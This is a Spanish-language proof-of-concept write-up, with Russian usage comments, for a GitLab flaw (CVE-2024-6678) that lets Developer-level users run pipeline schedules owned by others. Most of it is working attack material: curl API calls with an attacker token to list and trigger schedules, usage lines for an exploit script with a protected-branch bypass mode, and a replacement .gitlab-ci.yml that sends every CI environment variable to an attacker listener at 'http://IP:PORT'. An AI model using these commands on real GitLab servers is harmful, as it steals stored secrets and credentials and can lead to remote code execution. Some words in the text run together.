
PoC para CVE-2024-6678
PoC para CVE-2024-6678
GitLab permite a los usuarios ejecutar manualmente las programaciones de pipelines de CI/CD (Pipeline Schedules) mediante el botón «Play». La vulnerabilidad consiste en que la función «play» permite a cualquier usuario con permisos de Developer (no solo al propietario de la programación) ejecutar una programación. Esto tiene dos consecuencias:
Además, el impacto final dependerá de lo que se almacene en las variables de la programación. Por ejemplo, la variable DB_PASSWORD permite hacer un volcado completo de la base de datos, y SSH_PRIVATE_KEY permite obtener RCE.
developstagingImportante: las programaciones en ramas protegidas (por ejemplo,
refs/heads/maincon la protección activada) son bloqueadas por la políticaPipelineSchedulePolicy#protected_refy devuelven HTTP 403. El ataque funciona en ramas no protegidas — que es precisamente donde suelen crearse programaciones de integración y staging con credenciales reales.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
Buscar una programación que pertenezca a un usuario con más privilegios (Maintainer/Owner).
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
Respuesta esperada: HTTP 201 — el pipeline se ha añadido a la cola.
El pipeline se crea en nombre del atacante (current_user), pero con todas las variables de la programación (que pueden incluir claves de API, tokens, credenciales configuradas por el propietario).
HTTP 500 "Unable to schedule pipeline run immediately" — Comportamiento esperado. Se trata de la deduplicación de Sidekiq (
deduplicate :until_executed): la tarea para esta programación ya está en la cola de una ejecución anterior exitosa. Es decir, el ataque ya se ha activado antes y la tarea está esperando a ejecutarse.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# Базовый запуск: автовыбор расписания
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# Указать конкретное расписание
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# Через GraphQL (требует --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# Проверить legacy-ref bypass
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode


Antes del trigger, el PoC reemplaza .gitlab-ci.yml en develop por: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
Todo esto llega a tu listener
